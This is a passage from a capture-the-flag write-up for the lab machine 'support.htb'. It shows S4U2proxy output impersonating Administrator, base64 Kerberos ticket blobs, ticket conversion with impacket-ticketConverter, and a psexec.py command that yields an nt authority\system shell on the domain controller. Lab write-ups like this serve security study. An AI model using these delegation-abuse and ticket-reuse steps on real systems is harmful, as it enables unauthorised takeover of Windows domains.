                oXyj6ozp2ZhFkFuhEvlAEA6FpQTl2M+JazlElq0reH7CdiQOvWmVp653n3HxU6SsLLND9c5YK6DWbPLd
                9hKHN1JdlA3+/rpZkXwZLOA7xZp3QDi/P2BtZJSvdMffW/JXj5eoLproCgonvnaEMl+GDOZOWOOLl0dD
                zOa4mOCxC0zbWJqYsVPGgW6PDSZxc00JeVz7cqG1gp2SHkRdRigrFjIrKIty0dDOsTH8d1/uy1J+7EfK
                Q+ipUItUAmY7NR70tSVLyQsTxwVfsvx4JfC1PvapIDAxgZlFf4GdxNRrGLZNiBLREjrZoXlsuNXfnXau
                yUcehXkyywwiBYFqlgrqfkx5PRRpUrv9l13keXTOF2al+Do25nfUiLuHfZSxHeGo/Osz2uebtRf4V/NB
                Qq/5uLYf8L3Lu0IumIYNsMOaA5GPez/ytobSt6HD0mVCcf9Yk6QMROPdqB8ih6orShyh/pAArViFeSeb
                Gh9j/++8YW6y3du+HUg6USnvl3wH5AGcAyzmWnOzhCyLn6qGNC8ZjVrUpRlX+fBtzE4znkm7htspJPka
                t6ynYHqtj4OpToZcAdgFNpn7AUVcZDBKbehCMegm2xj+vG7aJzcl8sKwz1LXemKBTtE+MMVPMdyw/BMA
                OejRNGYnBGfpfwPe11ETwCmdLHQjalrGGU4XLSFFPqM69sb//dKGm5aUp8JZQf6paFjvxS5u6MgBTWiI
                4WBf7b9qyxgqANoSHb+2ILXCxYkUsigETnY949O3GWequ4CuD5p7YNXg23UDaJUF4jeaV/kBZYNfyyzO
                G9RbVnRHZldSF3xX/ph8Gcdx+ev2Qn8JJyOvlbJNOE8Y2WdDzaZBu5JbRCx/SrU4FzHhCgmbL+RRHQVt
                wKaImbfcvjX1FEmDH//3uRdbTY4fnDiwWsgEF6O5mpNGW9JDc2xB5xEfkvntPFu2mCov6d4tHnrsAvf2
                4d7w81tPziL3fZEF/yJ3/rzeDUAV0rvgTP5s7GZNNX4T98A+UY2mrgO5oPUgYz2xRn2n072pmXRhwiA2
                oBbWZxJO6wSrv6NbhcqNlrPfT/5k3KHBXaaLEBBVQqii3CUVFlUwO8+UB0j7Eu417ogTmtx+XhmrEQML
                2AZBZGY9v5Pvoh7MhJl/oo+Y7Nn3Gq1rne/B/gEQkBCtxLqhC/8dYmt4HIdogiJo6LSTueN0vp1vBJ1S
                rmXcqJKNtEjPJ3+9mkA7g6096tD2NQyZP7prkWmW7mYrzgeudwfobP7OYSlFQsTpRbod8IKjnzmuNhgc
                nbOCZj5/3mPQcsjZ37CTpd27fXhSIoL7gGel3kDbHlOPgrHrgtvfo4HMMIHJoAMCAQCigcEEgb59gbsw
                gbiggbUwgbIwga+gGzAZoAMCARehEgQQhgaLWhGKi1AVx0RLMo3VPKENGwtTVVBQT1JULkhUQqIaMBig
                AwIBCqERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEChAAClERgPMjAyNTAyMDQxNTA4NDBaphEYDzIwMjUw
                MjA1MDEwODQwWqcRGA8yMDI1MDIxMTE1MDg0MFqoDRsLU1VQUE9SVC5IVEKpFDASoAMCAQGhCzAJGwdI
                QUNLRUQk

          [*] Impersonating user 'Administrator' to target SPN 'cifs/dc.support.htb'
          [*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
          [*] Using domain controller: dc.support.htb (::1)
          [*] Sending S4U2proxy request to domain controller ::1:88
          [+] S4U2proxy success!
          [*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

                doIGYDCCBlygAwIBBaEDAgEWooIFcjCCBW5hggVqMIIFZqADAgEFoQ0bC1NVUFBPUlQuSFRCoiEwH6AD
                AgECoRgwFhsEY2lmcxsOZGMuc3VwcG9ydC5odGKjggUrMIIFJ6ADAgESoQMCAQaiggUZBIIFFbxTMM7p
                +wJlIorZhOZJ/+YDWrpIarY/lDM5ZS6TV7AZPFWko9EOoHyZ5TIKbHe1+QKs1HEdPHcO8DyQY9mj6A/N
                tDdp/iRBWtEy0k+/g45eOdGNY0PL2Gk7dlY1VjHg6sWBESAhIJ1roqsyDHn+hahwE1sPdjkucVrf6wFk
                J+tmmER4gJCClTbh9lMONPpme8u2/vyQWJv3GiegkTYys7CeMtZWXle80TfPr1lppijyENL9qtgrq32x
                uw7qTEosIf0TNIzU8KkMYvKNRIeNh09zE5QuUh/z5VN1IBSDTWdAbw082JT6l3g7lU3LRglUxF9gi3se
                JrycRiRFSdhoNJ4Cd/9aBBAf6DQ65trH2U2a9Rv86nekE61mmQVR2ONjbg1xDAw+MGNJ6HHnVYhKKI5r
                9MRUZwsRlYoDXrhfOWmEzfagT0NwtojuqWgisUZSliwqDpOXRzdUYK7biTKX69XKL+D9KfnU2W2kkfnw
                iSVVHjJo5xhLk4auBc6HjOUUbdh4AOlEcMEBjC+nr+KYH9Z2bP8fgNhbBiUvZ/bs10qeG7GlaaBLYks4
                3F3ogYb83sSVI/POS4h+JcKvGwAfzUzkZREaNzbC/DRAzee8YNoC16Mx7qJSWXS7FotDHsSB77MMtyvj
                5uKHseZTEhTI4j3QVmEz/7Qq5syz7L1w5XTAJtDH5OHkytnXLjDO8KkZbmSMvwrqIA2tQ/aQB3F4Q2LC
                k1TqJeixPbLhP9CnriSpH9DFCVNWEPc5ITWkoRaXQsEtRYA2k5S/UQK7Fp0HZLnfJ7lufgDgJ/s0f8tb
                X8JQx1myZ5g8Wy+g1JMxCwzD7CHzMq3azMuE/dJMpWrDQwijgfin0aIBPyKJvib0vbR1c30SLAYLpzv3
                VnoxqsH84Hkr8WzEkHkftB97soNmysbcr7mZCFiwTVdCKwYgjwvzRWyL6eyiuXcF00gfl6nlagIxy9Q5
                dx4/DVsWxlsvymcBGbzAboPkSOcr+MV39WFKee7Sjmoan/bfHakao8aheUO/dg6OQarXQsRXr4ZtYtgb
                /055D7ktBP/a9TH0FWHoVJrrzGrv/mWWoWCAlEAyrmYw/LnR3JPt/l6DxXMqyj1ACQvcWQBzjMWYxApX
                4zVAAJh81fC+UqVhF+SVdWjTREaAfEU048Xrre5uYgmWhnm3ylmfQ/FvtEzTuOHR2GI/LrVkDtp7RoFW
                3/rP5WnwerJIcssU1RlhfvvPylWl/21N5iuMbF1c9dFYnyQtka/EZbM41mfaS1vkTjgaQO22CW4NaHE7
                EjQkdj88IdFmaspM0lBLrpvkSABOq7gEWPV2i5Hd32O8oSghvFxFrohbwMNVtYZDGYpX2lkYcQ5JNMOm
                yZckvJjCpkuo1beW087fbDewWDomJpi1XiiMy4lNvwihyrWCX5//UO1f9/tOHuCH8Vv9pVtkQkOT/Ji0
                5r2jOf1OlkBxPqJN9L0WbhHxGLMKGQC4qO7mVMzS9Rf2MzePHtPCqMdJqZZ3ZHnBnvVVUzym7EFz5DIH
                1nLtICgDxIvBWIYeS5AYiDJsrECiAddk8H0iKUb14BYOm5aKd3kuLzfVK6VmIBpT9+f+h7LIWC61/Yfa
                FOvShDcbTwRxVB8ZrjkbqPOfClHaW41oaT0Qo9C+WYi2Bl1KdHX5PmaRXQP8f9x6nlr27T7y8lfSHbw8
                GLp8LTDA4c2C/PaZ3uust5orfW906t4ZGx5aSUDXHDmEr9QRo4HZMIHWoAMCAQCigc4Egct9gcgwgcWg
                gcIwgb8wgbygGzAZoAMCARGhEgQQWEoyQIu5YjMZuJkUeSSnEaENGwtTVVBQT1JULkhUQqIaMBigAwIB
                CqERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNTAyMDQxNTA4NDBaphEYDzIwMjUwMjA1
                MDEwODQwWqcRGA8yMDI1MDIxMTE1MDg0MFqoDRsLU1VQUE9SVC5IVEKpITAfoAMCAQKhGDAWGwRjaWZz
                Gw5kYy5zdXBwb3J0Lmh0Yg==
          [+] Ticket successfully imported!

          

Now, we are going to take the very last ticket and convert it to be usable in gaining a shell as Administrator . Lets go ahead and remove the white spaces from ticket. You can use the link below to complete this task.

https://www.browserling.com/tools/remove-all-whitespace

Now, lets place the cleaned ticket into a file called ticket.krbi.64 .

image.png

Now, decode the ticket from Base64 and store it into a file called ticket.kirbi. This will allow it to be readable by the impacket-ticketconverter tool.

base64 -d ticket.kirbi.64 > ticket.kirbi
          

Next, lets converting the ticket to a format that is readable by impacket . The out file will be called ticket.ccache .

/usr/bin/impacket-ticketConverter ticket.kirbi ticket.ccache
          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

          [*] converting kirbi to ccache...
          [+] done
          

Finally, lets use the tool psexec to gain shell access with the new Kerberos ticket we just created. KRB5CCNAME=ticket.ccache sets the environment variable KRB5CCNAME before running the command. This environment variable applies to the command being executed immediately after, so the placement is crucial for ensuring the program knows where to look for the ticket cache.

Voila! We are nt authority\system !!

KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass
          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

          [*] Requesting shares on dc.support.htb.....
          [*] Found writable share ADMIN$
          [*] Uploading file MmvvKLdU.exe
          [*] Opening SVCManager on dc.support.htb.....
          [*] Creating service xHxt on dc.support.htb.....
          [*] Starting service xHxt.....
          [!] Press help for extra shell commands
          Microsoft Windows [Version 10.0.20348.859]
          (c) Microsoft Corporation. All rights reserved.

          C:\Windows\system32> whoami
          nt authority\system
          

BOOM!! PWNED!!